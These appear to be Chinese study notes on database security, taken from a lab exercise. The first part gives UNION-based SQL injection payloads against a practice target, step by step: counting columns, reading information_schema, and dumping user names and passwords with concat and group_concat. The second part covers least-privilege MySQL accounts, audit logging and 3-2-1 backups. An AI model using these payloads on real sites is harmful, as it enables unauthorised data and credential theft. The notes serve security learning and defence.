)
一、学习数据库安全基础一sql注入实战联合查询1、已知该靶场是get方式的可以通过修改参数查询姓名信息。2、可以通过post方式修改参数查询姓名信息。(借助插件在插件上输入信息)3、尝试使用联合注入的方式回显内容的字段数最后直到6没有报错说明该数据库的数据表中有六个字段4、将查询的第一个选项选为0或以下让第一个查询结果为空 通过联合注入的方式只查询第二个查询结果看得到的数是什么说明回显的是第几个字段5、在回显的字段中填入database(),使其回显当前所在的数据库的库名。二信息收集-库、表、字段1、查库名union select 1,database(),3,4,5,62、查表名union select 1,(table_name),3,4,5,6 from information_schema.tables where table_schemadatabase() limit 0,13、查字段名union select 1,column_name,3,4,5,6 from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,14、脱库拿数据1使用concat 把账号密码拼接在一起回显回来union select 1,concat(name,:,password),3,4,5,6 from users limit 0,12使用group_concat 可以把属于name,password的值全部打包放在一起回显回来union select 1,group_concat(name,password),3,4,5,6 from users limit 0,1三数据库安全加固策略1、核心思想权限“刚好够用”为应用程序分配仅能完成其工作所需的最小权限集避免过度授权。2、创建独立用户1创建用户CREATE USER appuserlocalhost IDENTIFIED BY 密码;如 CREATE USER qingfenglocalhost IDENTIFIED BY 123456;2对用户赋予只限数据库school的查询、增加、修改权限GRANT SELECT, INSERT, UPDATE ON school.* TO qingfenglocalhost;3创建用户和赋予权限后要刷新权限flush PRIVILEGES4严禁事项 (红线)绝对禁止使用 root等超级管理员权限账号运行应用程序防止权限滥用与提权攻击。3、开启审计日志set global general_logon;1查看日志位置show variables like general_log_file;2安全审计与取证记录所有SQL操作用于行为追踪。即使遭遇攻击也能通过日志分析黑客操作路径是事后溯源的关键证据。4、数据备份3 份备份 (3 Copies)原始数据 至少两份副本确保数据不丢失。2 种介质 (2 Media)使用不同的存储介质如本地硬盘 云存储避免单点故障。1 份离线 (1 Offsite)至少有一份备份是离线存储的如移动硬盘防止被远程删除。